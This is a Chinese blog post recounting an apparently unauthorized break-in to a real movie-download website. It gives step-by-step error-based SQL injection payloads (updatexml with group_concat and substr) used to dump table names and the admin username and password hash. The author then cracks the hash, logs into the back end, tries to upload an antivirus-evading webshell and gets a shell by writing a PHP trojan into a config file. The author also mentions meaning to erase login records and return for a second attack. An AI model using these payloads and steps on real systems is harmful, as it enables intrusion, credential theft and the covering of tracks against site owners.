您現在的位置是:首頁 > 棋牌

記一次SQL注入的收穫

  • 由 合天網安實驗室 發表于 棋牌
  • 2022-12-06
簡介構造payload:%e5%a6%bb’) and updatexml(1,concat(‘~’,(select group_concat(name) from y80s_managers),‘~’),3)——+如下圖8:圖8可以看到,只有

an怎麼閉合路徑

記一次SQL注入的收穫

一、發現漏洞

1。1。 發現

這是一篇兩年前的筆記了。之前平常喜歡看些電影影片,不想充值

VIP,才發現的網站,但是這個網站A並不是主要測試的,而是透過發現他的兄弟網站B,然後進行滲透。

1。2。 測試

有事沒事對網站動一動,發現

A存在XSS,但是並沒有多大的利用價值,但是透過友情連結,跳轉到了B,就覺得B可能也在同個位置存在XSS但是,令人驚訝的是,我沒發現XSS,但是確發現存在SQLI。加了個

’,直接把sql語句爆出來了,如下圖1。

記一次SQL注入的收穫

1

二、漏洞利用

2。1

閉合規則

原始的語句:

SELECT `y80s_movies`。*, `y80s_photos`。`path` AS photo_path, `y80s_photos`。`share` AS photo_share

FROM (`y80s_movies`)

LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`。`id` = `y80s_movies`。`photo_id`

WHERE `y80s_movies`。`public` = ‘1’

AND `y80s_movies`。`attribute` NOT LIKE ‘%%1%%’

AND (name like ‘%

XXX

%’ or aka like ‘%

XXX

%’)

ORDER BY `y80s_movies`。`update` DESC, `y80s_movies`。`id` DESC

LIMIT 25

原始報文:

HTTP/1。1 500 Internal Server Error

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, Accept-Encoding, UserAccount

Server: nginx

Date: Thu, 29 Oct 2020 01:36:40 GMT

Content-Type: text/html; charset=utf-8

X-Powered-By: PHP/5。6。38

X-Cache: MISS from aws-jp08

X-Cache: MISS from asia-hk11

Connection: close

Content-Length: 882

Array

[0] => Error Number: 1064

[1] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘%’ or aka like ‘%xxx%’)

ORDER BY `y80s_movies`。`update` DESC, `y80s_movies`。‘ at line 6

[2] => SELECT `y80s_movies`。*, `y80s_photos`。`path` AS photo_path, `y80s_photos`。`share` AS photo_share

FROM (`y80s_movies`)

LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`。`id` = `y80s_movies`。`photo_id`

WHERE `y80s_movies`。`public` = ’1‘

AND `y80s_movies`。`attribute` NOT LIKE ’%%1%%‘

AND (name like ’%

XXX

%‘ or aka like ’%

XXX

‘%’)

ORDER BY `y80s_movies`。`update` DESC, `y80s_movies`。`id` DESC

LIMIT 25

[3] => Filename: /home/wwwroot/XXXX/libraries/datamapper。php

[4] => Line Number: 1410

Error

hi

XXX為輸入的位置,同上可以看出,會同時在兩處插入,但其實只需要管一處即可,後面可以註釋掉。

當時在考慮,怎麼閉合這個規則,怎麼執行自己想執行的語句。但是可能被這麼長的語句嚇到了,不知道從何下手。也可能是因為自己資料庫基礎不紮實。其實仔細分析,都是可以化繁為簡的。這語句也就是

select 欄位 from 表名 (一個左外連線) where XXX and XXX and XXX order by XXX。以上是我想的,看看老王想的:這個構造看清大邏輯,select xxx from ta left outer join tb on ta。a=tb。b where con1=xxxxx and con2=xxxx oder by a。a,b。b limit 25,然後得出:注入是在where那裡。你學廢了嗎?

【——幫助網安學習,以下所有學習資料關注我,私信回覆“資料”獲取——】

① 網安學習成長路徑思維導圖

② 60+網安經典常用工具包

③ 100+SRC漏洞分析報告

④ 150+網安攻防實戰技術電子書

⑤ 最權威CISSP 認證考試指南+題庫

⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集(含答案)

⑧ APP客戶端安全檢測指南(安卓+IOS)

2。2 爆資料

這步應該是最多的,一開始自己找不到閉合規則,經常會報錯,而且還是亂碼,如下圖

2:

記一次SQL注入的收穫

2

一開始猜測是回顯了資料表,所以導致了亂碼,但是並不是,應該只是伺服器的問題。這伺服器本來就不太穩定,換下查詢資料,重新整理頁面,多試幾次就好了。然後思路就想著,構造一個判斷語句,透過是與否來判斷資料庫的資訊,然後有了以下的兩個

payload

1

%e4%ba%ba‘) and 1=1 or (

1

=

1

2

%e4%ba%ba’) and exists(select path from y80s_photos) or (‘1’=‘1

但是這

payload

真的是太傻了,好在報錯資訊有提供表名和

mysql

預設表

dual

,不然都沒法判斷是否構造完成。接下來是內容由老王指導完成。

透過

union

或者

updatexml

進行查詢,內容有回顯,一開始我並不知道的,後面透過百度查詢到了

updatexml

用法,於是自己構造了個:

1、

%e7%88%b1’) and updatexml(1,concat(‘~’,(select database()),‘~’),3)——+

獲取了資料名

80s

,如下圖

3

記一次SQL注入的收穫

3

既然可以回顯,那緊接著,就是查詢所有的表名。

筆記:

查詢資料庫中所有表名

select table_name from information_schema。tables where table_schema=‘資料庫名’ and table_type=‘base table’;

select table_name from information_schema。tables where table_schema=‘資料庫名’

查詢指定資料庫中指定表的所有欄位名

column_name

select column_name from information_schema。columns where table_schema=‘資料庫名’ and table_name=‘表名’

於是構造了

payload

%e7%88%b1‘) and updatexml(1,concat(’~‘,(select table_name from information_schema。tables where table_schema=’80s‘

limit 0,1

),’~‘),3)——+

其實

limit

是後面加的,伺服器返回:

Subquery returns more than 1 row

,但是這邊只能顯示一條,所以一開始思路是使用

limit

一條一條去查出來,如下圖

4

、圖

5

記一次SQL注入的收穫

4

記一次SQL注入的收穫

5

利用

burp-Intruder

爆破出資料庫,但是,這樣太慢了。

老王提供了個函式

group_concat()

group_concat()

類似一個聚集函式,把所有內容拼接成字串,預設用逗號隔開。於是我的

payload

就變成:

%e6%98%9f’) and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema。tables where table_schema=‘80s’),‘~’),3)——+

但是,人算不如天算,他回顯內容有限制長度的,如下圖

6

記一次SQL注入的收穫

6

Y80

應該可以明顯感覺斷了,及時看不出來,也不應該就這幾個表吧!這時候想到,我們豈不是可以透過

limit

限制內容,把已經看到了的不輸出,我真是天才,然後我構造了

payload

%e6%98%9f‘) and updatexml(1,concat(’~‘,(select group_concat(table_name) from information_schema。tables where table_schema=’80s‘ limit 6,2),’~‘),3)——+

發現頁面居然正常跳轉了,沒有報錯,我人傻了,估計是

sql

語句又哪裡有問題了吧!後面看了老王的,他構造的是:

123333’) and updatexml(1,concat(0x7e,(select group_concat(x。movie_id) from (select movie_id from hits limit 3,3)x),0x7e),1)——+

select group_concat(x。movie_id) from x

,從

x

表查詢

movieid

,然後聚整合一行,

x

表是個別名,

x = seelect movie_id from hits limit 3,3

,從

hits

movieid

,從記錄

3

往後查

3

條,結果是個一列三行的資料臨時表,然後前面配合聚集,把這三行連線,這樣就不用

limit a,1

這種,每次限制一行記錄,這個可以

limit a,5

這樣,一次查五條。搜嘎!

由於我只是想登入後臺,嘗試找出管理員的表即可,我就還是一個一個試,最終找到管理員表

y80s_managers

,然後根據

payload

%e6%98%9f‘) and updatexml(1,concat(’~‘,(select group_concat(column_name) from information_schema。columns where table_schema=’80s‘ and table_name=’y80s_managers‘),’~‘),3)——+

查詢出欄位名

id,name,password,right_id,lock

等,如下圖

7

記一次SQL注入的收穫

7

但是我們主要還是賬號名密碼,所以繼續!構造

payload

%e5%a6%bb’) and updatexml(1,concat(‘~’,(select group_concat(name) from y80s_managers),‘~’),3)——+

如下圖

8

記一次SQL注入的收穫

8

可以看到,只有一個賬戶,

name

me****zz

,再查詢密碼,如下圖

9

記一次SQL注入的收穫

9

忘記這個是有限制欄位的,也沒注意看是否是以

~

結尾,然後拿去

md5

解密,發現解不開,數了一下,

31

位的

md5

?這時候才發現,後面還有。於是使用

substr

函式,去擷取後面的欄位,回顯!

Payload

%e6%96%b0‘) and updatexml(1,concat(’~‘,(select substr(password,31) from y80s_managers),’~‘),3)——+

Substr(str,pos,len),pos

開始的位置,

len

為長度,

str

字串,

len

沒輸入的時候預設是

pos

開始擷取到最後的位置。於是有了以下圖

10

記一次SQL注入的收穫

10

果然掉了一位,最後得到

md5

9356*************63c

三、解密賬號密碼

3。1成功登入

Md5

解開後得到賬號名密碼:

Me****zz

935********63c(pj*****@)

然後使用

dirsearch

,搜尋出後臺(其實我是先找到後臺才想著去注入的),成功登入,如下圖

11

記一次SQL注入的收穫

11

原本想刪除登入記錄的,但是發現這後臺功能有點簡陋,好像沒有發現有登入記錄之類的,就沒先下了,後續再二次進攻!

3。2 收穫其他資訊

以下是收集到的其他資訊:

database

80s

mysql5。6。44

table:hits,y80s_ads,y80s_articles,y80s_bigphotos,y80s_caijis,y80s_cast_infos,y80s_casts,y80s_casts_movies,y80s_directors_movies,y80s_directors,

y80s_dlurls,y80s_dlurls_movies,y80s_doubans,y80s_duoshuo_comments

y80s_forhotmovies

y80s_hits

y80s_hotwords

y80s_infos

y80s_managers

y80s_moviedesc_ups

y80s_ads:

id title name content

y80s_managers

id,name,password,right_id,lock

四、尋找上傳點

發現該網站存在設定影片的圖片,直接上免殺馬。免殺馬是

github上大佬寫的生成工具,已測試過是可以過360和D盾的。連結:

https://github。com/pureqh/Troy

記一次SQL注入的收穫

記一次SQL注入的收穫

伺服器直接報錯。多番嘗試發現無法上傳馬。還發現了資料庫備份,但是貌似無法修改資料庫副檔名。

五、柳暗花明又一村

在檢視網站功能的時候,我又發現了另一個好東西:

記一次SQL注入的收穫

配置檔案編輯。直接把一句話木馬寫到配置檔案裡面。透過寫入

<?php phpinfo();?>

後,發現在每個頁面初始化的時候,都會去呼叫該配置檔案。直接

getshell

六、小結

閉合規則是花費時間最長的,還有後面要利用的時候,構造

payload也是我花費時間最多的,基本都是百度上查,很多都不懂,兩個的根本原因還是因為對sql注入,乃至資料庫的基礎都不是很懂,很多函式,都不知道,不知道有功能有什麼函式,在利用的時候就難以下手,耗費大量時間。其次還可透過mysql直接寫入shell的,這個也是後面才知道的,不過寫入shell的前提條件較為苛刻。

Top